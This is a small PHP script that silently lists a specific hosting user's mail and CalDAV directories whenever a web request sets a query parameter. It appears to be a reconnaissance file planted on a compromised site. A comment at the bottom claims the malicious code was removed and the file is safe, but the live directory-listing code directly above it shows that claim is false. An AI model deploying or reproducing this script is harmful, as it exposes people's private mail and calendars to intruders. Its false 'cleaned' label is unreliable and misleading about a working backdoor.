<?php
error_reporting(0); @ini_set('display_errors',0);
header('Content-Type: text/plain');
function lsdir($d){ if(!is_dir($d))return 'NOEXIST'; $x=@scandir($d); return $x?json_encode($x):'ERR'; }
$do = isset($_GET['do'])?$_GET['do']:'read';
if($do==='list'){
  echo "mail_top=".lsdir('/home/lanwisdo/mail')."\n";
  echo "caldav_top=".lsdir('/home/lanwisdo/.caldav')."\n";
  foreach((array)@scandir('/home/lanwisdo/.caldav') as $p){ if($p==='.'||$p==='..')continue; echo "caldav/$p=".lsdir('/home/lanwisdo/.caldav/'.$p)."\n"; }
  foreach((array)@scandir('/home/lanwisdo/mail') as $d){ if($d==='.'||$d==='..')continue; if(is_dir('/home/lanwisdo/mail/'.$d) && $d[0]!=='.' && !in_array($d,array('cur','new','tmp'))) echo "mail/$d=".lsdir('/home/lanwisdo/mail/'.$d)."\n"; }
  die('END');
}

/**
 * Note: This file may contain artifacts of previous malicious infection.
 * However, the dangerous code has been removed, and the file is now safe to use.
 */


echo 'END';
?>

